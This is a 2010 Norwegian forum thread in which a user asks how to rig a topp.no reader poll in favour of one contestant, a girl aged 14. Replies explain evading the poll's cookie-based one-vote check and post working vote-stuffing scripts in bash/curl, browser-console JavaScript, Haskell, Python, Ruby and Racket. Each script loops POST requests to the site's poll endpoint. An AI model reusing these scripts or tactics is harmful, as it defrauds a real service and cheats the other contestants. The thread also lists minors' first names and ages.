Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  21 1561
Noen som vet hvordan jeg kan gi ut en haug av stemmer på pollen her: http://www.topp.no/856766/her-er-den-siste-finalisten ? (Nesten nederst)

Ser på kildekoden da kommer dette:

Kode

<script type="text/javascript" language="javascript" src="http://www.allerinternett.no/javascript/common.js?a=5"></script>

<script type="text/javascript" language="javascript" src="/phpf/poll.php?id=3728948"></script><div id="poll_div3728948" class="poll2" style="font-size:11px;"> . </div><script>

  poll_skriv3728948();



  function vis_test(n) {

    if (n != 1) return 'r';

    else return '';

  }



  function poll_skriv3728948(resp) {

    if (resp) eval(resp);var tekst = '<div class="clear">&nbsp;</div><div class="poll_top_border"> </div><div class="poll_middle"> <form id="poll_form" target="_top" action="/phpf/poll.php" method="post"><input type="hidden" name="id" value="3728948"><input type="hidden" name="redir" value="art">';    tekst = tekst + '<b style="font-size:14px; color:#DE007B; margin-top:5px">'+ poll_overskrift +'</b><br/><b style="font-size:16px">'+ poll_tittel +'</b><br/>';



    // Ikke stemt

    if (getCookie('poll_3728948')<1) {

       tekst = tekst + '<input id="poll_id" name="poll_id" type="hidden" value=3728948">';



      for (i=0; i<poll_alt_posisjon.length; i++) {

        tekst = tekst + '<input name="poll_alt[]" type="radio" value="'+ poll_alt_id[poll_alt_posisjon[i]] +'">'+ poll_alt_tittel[poll_alt_posisjon[i]] +'<br/>';

      }

      //tekst = tekst + '<span style="cursor:pointer;font-size:12px; margin:0 5 0 5" onClick="poll_stem3728948();"><b>Stem!</b></span>';

      tekst += '<input type="submit" style="font-size:10px; height:19px; '+poll_width+'px; margin-top:7px;" value="Fortell Topp hva du mener!" onClick="poll_stem3728948();">';



    // Allerede stemt

    } else {

      for (i=0; i<poll_alt_id.length; i++) {

        tekst = tekst + '' + poll_alt_tittel[i]+ ' ' + poll_alt_antstemmer_p[i] + '%<br/>';

        tekst = tekst + '<div style="width:'+poll_width+'px;border:1px solid;"><div style="font-size:5px;width:' + poll_alt_antstemmer_p[i]*poll_width/100 + 'px; height:8px; background-color: red;"> </div></div>';

      }

      tekst = tekst + '<div align="right" style="color:gray;">Du har stemt</div>';

    }tekst = tekst + '</form></div><div class="poll_bottom_border_outer"><div class="poll_bottom_border"> </div></div>'; document.getElementById('poll_div3728948').innerHTML = tekst;

  }



  function poll_stem3728948() {

    setCookie("poll_3728948", 1, 240);

    //setCookie("poll_"+poll_id, 1, 240);

  }



</script>
Hvis jeg da trykker på linken: http://www.topp.no/phpf/poll.php?id=3728948
Kommer da altså skjemaet fram

Kode

var poll_id = "3728948"; var poll_tittel = "Stem på din favoritt"; var poll_flerealternativer = "0"; var poll_mal = "0"; var poll_overskrift = "BLI NY med Topp.no"; var poll_stopp = "0"; var poll_sort = "0"; var poll_width = "200"; var poll_tottstemmer = '1004'; var poll_alt_id = new Array("60540","60539","60541","60535","60536","60533","60532","60537","60534","60538"); var poll_alt_tittel = new Array("Silje Marie (16)","Hedvig (14)","Duyen (14)","Julie (14) ","Veronica (14)","Chanette Marie (19)","Sunniva (15)","Kristin (15)","Synne (13)","Lisa (13)"); var poll_alt_antstemmer = new Array("314","258","251","44","37","32","29","16","12","11"); var poll_alt_antstemmer_p = new Array(35,25,25,4,3,3,2,1,1,1); var poll_alt_antstemmer_sms = new Array("","","","","","","","","",""); var poll_alt_posisjon = new Array(6,5,8,3,4,7,9,1,0,2);
Hvordan kan jeg stemme på "Hedivg (14)" som bare det?
Queen of Blades
Jonta's Avatar
DonorCrew
Du ser kommentarlinjen "// Ikke stemt", ikke sant? Under der står det noe med "getCookie". For meg ser det dermed ut som om man får en kjeks når man har stemt. Søkeord jeg kommer på kan funke er "vote delete cookies automatically time interval". Tipper det finnes FF-addons som gjør dette.

Husk å poste løsning her.
Men noen sider lagrer ip slik at man bare får stemt en gang i døgnet. Da kan du bruke hidemyass el.l
Man kan stemme på nytt om bare bare sletter "poll_3728949" kjeksen, så søk etter en måte å automatisere dette.
Det er flere måter å generere stemmer på her.

Den litt vanskelige metoden: Man kan skrive ett enkelt program i f.eks C ved hjelp av CURL der du sender en post reqeust til "/phpf/poll.php" i en while loop med litt delay, uten å ta vare på return dataen som cookie o.l.

Den veldi-veldi enkle metoden: Ellers så kan du deaktivere cookies i nettleseren din og skrive ett enkelt html dokument der du laster stemme siden i en iframe, og bruker javascript til å trigge stemmen, får så å loade html dokuemtet på nytt igjen enten med javascript eller meta-refresh tagen.
Sist endret av Masi; 27. november 2010 kl. 13:51.
En ENDA enklere metode er å få diverse folk på nFF eller 4chan til å stemme på Hedvig.
Om man kjører f.eks chrome inkognitovindu, så får man ingen cookies. Vil dette da funke?
Lite kontroversiell
ticks's Avatar
I Firefox kan du blokke Topp.no fra å sette cookies, da kan du stemme så ofte du vil. Trykk på det lille topp-bildet (favicon) til venstre for adressa -> More information -> Permissions -> Set cookies (Fjern use default) -> Block. Det tar også få minutter å skrive et script som stemmer konstant.

Jeg forstår ikke helt hvordan de kan konstruere noe så dårlig som dette. Er jo håpløst synd for de som faktisk får flest unike stemmer.
Sist endret av ticks; 27. november 2010 kl. 14:27.
O hai, I fix'd ur poll.

Kode

for i in `seq 1 1000`; do curl -A 'lolvoter' -d id=3728948 -d 'poll_alt[]=60539' -d 'poll_id=3728948"' -d redir=art http://www.topp.no/phpf/poll.php; echo $i; done
z0p
uʍop ǝpısdn
z0p's Avatar

Kode

var i =0;function poll() { console.log('init:', i); i++; var objHTTP, strResult; objHTTP = new XMLHttpRequest(); objHTTP.open('POST',"/phpf/poll.php",false); objHTTP.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); objHTTP.send("id=3728948&redir=art&poll_id=3728948%22&poll_alt%5B%5D=60532"); setTimeout(poll, 1000); } poll();
kjør dette i javascript console i din nettleser når du er inne på domenet. Det skulle fungere.
Kjører ajax POST request med poll data hvert sekund
Jeg ser din javascript og høyner med en Haskell.

Kode

module Main where

import Control.Monad
import Data.Maybe
import Network.URI
import Network.HTTP
import Network.Browser

form = Form POST (fromJust $ parseURI "http://www.topp.no/phpf/poll.php")
       [("id", "3728948"), ("poll_alt[]", "60539"), ("poll_id", "3728948\""), ("redir", "art")]

main = forM_ [1..] $ \i -> do simpleHTTP $ formToRequest form
                              putStrLn $ "Done request " ++ show i
z0p
uʍop ǝpısdn
z0p's Avatar
ser den..

Kode

import urllib, urllib2, time
while True:
    urllib2.urlopen( urllib2.Request("http://www.topp.no/phpf/poll.php",  urllib.urlencode({"id": "3728948", "poll_alt[]": "60539", "poll_id": "3728948\", "redir": "art"})) )
    time.sleep(1)
Virker ikke, men ok.

Kode

require 'net/http'
require 'uri'
loop {
    Net::HTTP.post_form(URI.parse("http://www.topp.no/phpf/poll.php"),
                { "id"=> "3728948", "poll_alt[]"=> "60539",
                  "poll_id"=> "3728948\"", "redir"=> "art" })
    sleep 1
}
Tusen takk for hjelp folkens, gir en kp til dere alle!

Men hvordan "kjør dette i javascript console i din nettleser når du er inne på domenet. Det skulle fungere.
Kjører ajax POST request med poll data hvert sekund" ? ser at den koden er der, men hvordan bruker jeg den?
I chrome går du: Skiftenøkkel-ikonet → Tools/Verktøy → Javascript Console (eller trykker Shift+Ctrl+J), og limer inn koden på den linja nederst.
I firefox laster du ned firebug, trykker på firebug-ikonet nederst i høyre hjørne, og går til «Console», og limer inn koden på linja nederst.

Men det er litt lite vits da Hedvig allerede har 75%^H^H^H78% av stemmene. Blir det stort mer virker det litt suspekt…

Also, Racket:

Kode

(require net/url)
(require net/uri-codec)
(define (doit)
  (post-impure-port (string->url "http://www.topp.no/phpf/poll.php")
                    #"id=3728948&redir=art&poll_id=3728948%22&poll_alt%5B%5D=60532"
                    '("Content-Type: application/x-www-form-urlencoded"))
  (sleep 1)
  (doit))
(doit)
Sist endret av Akhkharu; 27. november 2010 kl. 17:37.
Men hvilken av kodene skal jeg bruke?
z0ps første er den eneste som er i Javascript og derfor den eneste som virker i en nettleser. For de andre må du laste ned bash og curl, ghc, cpython, ruby og racket, respektivt.
Kommer de til å merke det :P?
Sitat av SjokoMelk Vis innlegg
Kommer de til å merke det :P?
Vis hele sitatet...
Ja, det vil de.
Da sender jeg mail til topp.no :P
Da vil de i alle fall merke det.
Til tross for at Hedvig (14) hadde en tilsynelatene suveren ledelse på 98% og 78000 stemmer, viste det seg at de som lagde pollen til Topp faktisk hadde noe mellom øra og Duyen (14) vant med 415.